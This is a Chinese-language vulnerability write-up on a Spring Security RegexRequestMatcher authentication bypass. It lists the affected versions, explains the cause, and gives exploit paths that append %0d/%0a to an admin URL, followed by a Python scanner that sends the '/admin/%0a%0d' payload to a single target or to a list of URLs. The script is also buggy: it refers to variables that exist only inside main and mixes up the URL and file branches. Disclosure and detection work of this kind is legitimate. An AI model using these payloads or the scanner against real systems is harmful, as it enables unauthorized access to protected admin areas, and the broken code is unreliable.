0x01 漏洞描述
当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含“.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证。
0x02 影响版本
- Spring Security 5.5.x < 5.5.7
- Spring Security 5.6.x < 5.6.4,例如spring-security-web-5.6.3.jar
- 其它不受支持的旧版本
0x03 漏洞利用
未授权的路径后添加%0d
、%0a
、%0a%0d
,即可绕过访问权限检测
/admin/1%0d
/admin/1%0a
/admin/1%0d%0a
0x04 漏洞原理
HTTP请求中url中的%0d
、%0a
,经过WEB服务器转码成换行符\r
和回车符\n
传送给后端程序。
程序在处理该路径的访问请求时,会利用正则规则匹配该路径是否为管理员路径,如果是则对其进行身份校验,校验通过后,返回管理端数据,但是如果正则规则未匹配到该路径,则直接绕过身份校验模块。
0x05 批量检测
#!/usr/bin/env python
import argparse
import requests
def exploit_file(file):
with open(file, 'r') as urls:
for url in urls:
url = url.replace('\n', "")
if url.endswith('/'):
url = url.rstrip('/')
if not url.strip():
continue
url_check = url + payload
response = requests.get(url=url_check, headers=header, timeout=3)
if response.status_code == 200:
print(url + " Vulnerability exists!")
def exploit_url(url):
if url.endswith('/'):
url = url.rstrip('/')
url_check = url + payload
response = requests.get(url=url_check, headers=header, timeout=3)
if response.status_code == 200:
print(url + " Vulnerability exists!")
def process_input(args):
if args.url is None:
exploit_file(file)
elif args.file is None:
exploit_url(url)
else:
raise ValueError("Please provide the -u or -f parameter")
def main():
parser = argparse.ArgumentParser(description='Example script to process command line arguments.')
parser.add_argument('-u', '--url', help='eg:http://xxx.xxx.xxx.xxx:port')
parser.add_argument('-f', '--file', help='eg:urls.txt')
args = parser.parse_args()
url = args.url
file = args.file
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
payload = '/admin/%0a%0d'
process_input(args)
if __name__ == '__main__':
main()
参考链接:
https://www.freebuf.com/vuls/343980.html
https://blog.csdn.net/zwy15288408160/article/details/131850711